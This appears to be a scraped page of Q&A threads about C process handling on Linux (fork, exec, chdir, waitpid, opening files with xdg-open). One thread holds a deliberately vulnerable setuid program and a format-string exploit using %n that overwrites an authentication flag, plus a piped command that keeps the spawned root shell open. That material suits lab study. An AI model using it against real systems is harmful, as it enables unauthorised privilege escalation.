I am attempting to write a simple program that calls git checkout -- . on a Github repo that would be a command line argument. I would like to call it like > clearRepo repoName. I keep all my repos in the same Github directory.
The code is as follows:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <string.h>
#include <errno.h>
void print_error()
{
fprintf(stderr, "Error executing: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
void print_usage(char* this)
{
printf("SYNTAX ERROR:\n%s [directoryName]\n", this);
exit(EXIT_FAILURE);
}
int main(int argc, char **argv)
{
if(argc != 2)
{
print_usage(argv[0]);
}
pid_t pid = fork();
if (pid == 0)
{
static char* params[] = {"git", "checkout", "--", ".", NULL};
char s[50], s2[50];
strcpy(s, "/home/myname/Documents/Github/");
strcpy(s2, argv[1]);
strcat(s, s2);
printf("s: %s\n", s);
int err = execv(s, params);
if(err == -1)
{
print_error();
}
exit(127);
}
else
{
waitpid(pid, 0, 0);
}
return 0;
}
It compiles fine, but print_error() will spit out Error executing: Permission denied every time I run it. I am not too familiar with writing programs for Linux, so it is probably a simple mistake. Information on what I'm doing wrong is appreciated. Thanks.
The first argument you're passing to execv is a directory, but execv expects a program. The error "Permission denied" is slightly misleading, because there is no such thing as "permission to execute directories".
To change the current directory, call chdir. Then, call whichever one of the exec* functions you like to invoke git.
chmod u+x filename for changing file permission.
If you want to checkout of a branch, but save the changes, use git stash. You can use git stash pop or git stash apply when you come back to the branch.
https://git-scm.com/docs/git-stash
Git commands and programs are quite tricky.
Follow these steps and you might debug your problem.
Enter the git commands written in the program into a terminal and check if the logic actually works. (Suggested this as you said you were new to Linux)
If it works, change the permission of your file by typing "chmod +x filename.extention".
Related
I have a Setuid binary that has a printf format string vulnerability that is supposed to be exploited with "%n" to overwrite the value of the authenticated global variable. The execution of /bin/bash works with root Setuid permissions when authenticated = 1, but not when authenticated = 0 and the exploit is used.
I have tried with ls and it works, so the exec is happening. I have also tried making authenticated = 1 in the source so it automatically runs bash with no exploit. This works in spawning a root shell. When the exploit is used, the program calls the access granted function as expected, but ends at the exec and perror is never reached. The parent process dies, though, meaning the exec of bash must have happened. Bash must be being executed, but it is crashing/exiting on startup.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
int authenticated = 0;
void read_flag() {
if (!authenticated) {
printf("Sorry, you are not *authenticated*!\n");
}
else {
printf("Access Granted.\n");
int cpid = fork();
if(cpid == 0){
printf("child!\n");
execlp("/bin/bash", "bash", NULL);
perror("error");
}
else{
wait(NULL);
}
}
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[64];
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
setreuid(geteuid(), getuid());
printf("Would you like a shell? (yes/no)\n");
fgets(buf, sizeof(buf), stdin);
if (strstr(buf, "no") != NULL) {
printf("Okay, Exiting...\n");
exit(1);
}
else if (strstr(buf, "yes") == NULL) {
puts("Received Unknown Input:\n");
printf(buf);
}
read_flag();
}
With authenticated = 0, I use gdb to find the address of authenticated is somewhere like 0x0804a050. I run the program with AAAA %x %x %x... to find that buf begins at the 4th stack position. My exploit then is: python -c "print('\x50\xa0\x04\x08%x%x%x%n')" which successfully overwrites the global var as "Access Granted!" is printed. The perror is never reached, and Bash must spawn, but the parent process dies, so the Bash process must have died also.
This does not happen when authenticated = 1. In that scenario, the Setuid binary behaves as expected and pops a root shell.
My question is: why is Bash dying on startup but only when the Detuid binary is exploited?
Bash must be dying because ps -aux does not list a new Bash process, and running exit exits the calling bash instance.
When you run one of:
python -c "print('\x50\xa0\x04\x08%x%x%x%n')" | ./vuln
./vuln < myPayload
The only input is your exploit. You don't input any commands, so bash has nothing to do and exits. This is the same thing that happens if you run true | bash or bash < /dev/null.
If you want to be able to type in some commands manually afterwards, the easiest way to do that is:
{ python -c "print('\x50\xa0\x04\x08%x%x%x%n')"; cat; } | ./vuln
I am using cmake to build my project from the command line. The problem is, as soon as the executable finishes running it disappear immediately and I have mere milliseconds the contents that are printed on screen. I can't read much in milliseconds. Is there anything I can do so that the console screen doesnt disappear as soon as it has finished executing?
here is my CMakeLists.txt:
cmake_minimum_required(VERSION 2.8)
project(TotallyFree C)
add_executable(Acrolibre acrolibre.c)
set(LIBSRC acrodict.c acrodict.h)
add_library(acrodict ${LIBSRC})
add_executable(Acrodictlibre acrolibre.c)
target_link_libraries(Acrodictlibre acrodict)
set_target_properties(Acrodictlibre PROPERTIES COMPILE_FLAGS "-DUSE_ACRODICT")
and here is my equivalent of main.cpp:
//#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifdef USE_ACRODICT
#include "acrodict.h"
#endif
int main(int argc, char* argv[])
{
//int waitTime = 10000000;
const char* name;
#ifdef USE_ACRODICT
const acroItem_t* item;
#endif
if(argc < 2)
{
fprintf(stderr, "%s: you need one argument\n", argv[0]);
fprintf(stderr, "%s <name>\n", argv[0]);
exit(EXIT_FAILURE);
}
name = argv[1];
#ifndef USE_ACRODICT
//if(strcasecmp(name, "toulibre")==0){
if(_stricmp(name, "toulibre")==0){
printf("Toulibre is a French organization promoting FLOSS.\n");
}
#else
item = acrodict_get(name);
if(NULL != item){
printf("%s: %s\n", item->name, item->description);
}else if(item = acrodict_get(name)){
printf("<%s> is unknown maybe you mean:\n", name);
printf("%s: %s\n", item->name, item->description);
}
#endif
else{
printf("Sorry, I don't know: <%s>\n", name);
//Sleep(waitTime);
return EXIT_FAILURE;
}
//Sleep(waitTime);
return EXIT_SUCCESS;
}
As you can see I even used Sleep() and #include to delay this shutting down of the console. But it doesn't work. Is there anything anyone can recommend?
The problem is not in the make files here. Your program exits, and the console window disappears. Try using getch() before returning from main() for the program to wait for any key before exiting. Or, you can run your program from a console.
This has nothing to do with CMake, and everything to do with the way you're running your application.
When you double-click a console EXE in Windows, it opens a new console, runs the program, and closes the console, lie it should.
You have two options:
Run the program from the command-line of an already open console (cmd.exe)
Add this code to the end of main:
printf("Press Enter to exit\n");
getchar();
I'm currently trying to implement a basic shell programm which wait for user to prompt a single command (just like "ls" or something else) and this following code is working, except that I get a weird output...
Code
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <errno.h>
char *username;
char hostname[1024];
char currentdir[1024];
char shell_input[256];
int error_code;
int main() {
int pid, status;
char *pos;
username = getenv("USER");
gethostname(hostname, sizeof(hostname));
getcwd(currentdir, sizeof(currentdir));
while(1){
printf("%s#%s:%s$ ", username, hostname, currentdir);
fgets(shell_input, sizeof(shell_input), stdin);
// deleting the newline captured by fgets
if ((pos=strchr(shell_input, '\n')) != NULL)
*pos = '\0';
if((pid = fork())==0){
error_code= execlp(shell_input, shell_input, NULL);
if(error_code!=0){
printf(" %s \n", strerror(errno));
exit(0);
}
}else{
waitpid(pid, &status, -1);
}
}
}
As expected, when i run my program, i'v got this console prompt :
jeremy#jeremy-pc:/home/jeremy/Cours$
Then, if want to run the ls command in my program, the command works but i got this output :
jeremy#jeremy-pc:/home/jeremy/Cours$ ls
jeremy#jeremy-pc:/home/jeremy/Cours$ example prototype.c dir1 prototype
The problem here, is that the "prompt" string (jeremy#jeremy-pc etc...) is printed before the ls result which is supposed to be printed before the waitpid.
So my question is, what's wrong in my code as long as i don't get a result like this :
jeremy#jeremy-pc:/home/jeremy/Cours$ ls
example prototype.c dir1 prototype
jeremy#jeremy-pc:/home/jeremy/Cours$
Thank you in advance for your help and for your time, have a good day :)
You have a problem with the option argument of waitpid. By giving -1 (0xFFFFFFFF) as third argument, you probably enable all options including WNOHANG, which is described as return immediately if no child has exited. in manpage.
Disabling all flags would make waitpid wait for process to exit:
waitpid(pid, &status, 0);
I have a question, here is my original code in the testchdir.c file:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc,char **argv)
{
if (argc < 2)
{
printf("Usage: %s <pathname\n",argv[0]);
exit(1);
}
if (chdir(argv[1]) == 0)
{
printf("success in chdir\n");
return 0;
}
else
{
printf("error happened");
exit(1);
}
}
In my Linux system, my original path is /home/Tom3543, then when I compile my codes above using gcc -o testchdir testchdir.c, it looks good. Later on, I want to change my path and execute the program, so I type
./testchdir /home/tom3543/C++
"success in chdir" appeared in my terminal, but my path is still /home/Tom3543 in my terminal. Can someone help me explain why? I am confused about that!
It's because the shell starts a new process for your program, and you only change the current directory in that new process. The shells process will be unaffected.
Unfortunately (for you) there's no real good (or legal) way to change the working directory of the parent process (the process of the shell).
How do I programmatically open a file in its default program in Linux (im using Ubuntu 10.10).
For example, opening *.mp3 will open the file in Movie Player (or something else).
You need to run gnome-open, kde-open, or exo-open, depending on which desktop you are using.
I believe there is a project called xdg-utils that attempts to provide a unified interface to the local desktop.
So, something like:
snprintf(s, sizeof s, "%s %s", "xdg-open", the_file);
system(s);
Beware of code injection. It's safer to bypass scripting layers with user input, so consider something like:
pid = fork();
if (pid == 0) {
execl("/usr/bin/xdg-open", "xdg-open", the_file, (char *)0);
exit(1);
}
// parent will usually wait for child here
Ubuntu 10.10 is based on GNOME. So, it would be good idea to use
g_app_info_launch_default_for_uri().
Something like this should work.
#include <stdio.h>
#include <gio/gio.h>
int main(int argc, char *argv[])
{
gboolean ret;
GError *error = NULL;
g_type_init();
ret = g_app_info_launch_default_for_uri("file:///etc/passwd",
NULL,
&error);
if (ret)
g_message("worked");
else
g_message("nop: %s", error->message);
return 0;
}
BTW, xdg-open, a shell script, tries to determin your desktop environment and call a known helper like gvfs-open for GNOME, kde-open for KDE, or something else. gvfs-open ends up calling g_app_info_launch_default_for_uri().
A simple solution with less coding:
I've tested this program on my Ubuntu and it is working fine, and if I am not wrong you are looking for something like this
#include <stdio.h>
#include <stdlib.h>
int main()
{
system("firefox file:///dox/song.mp3");
return 0;
}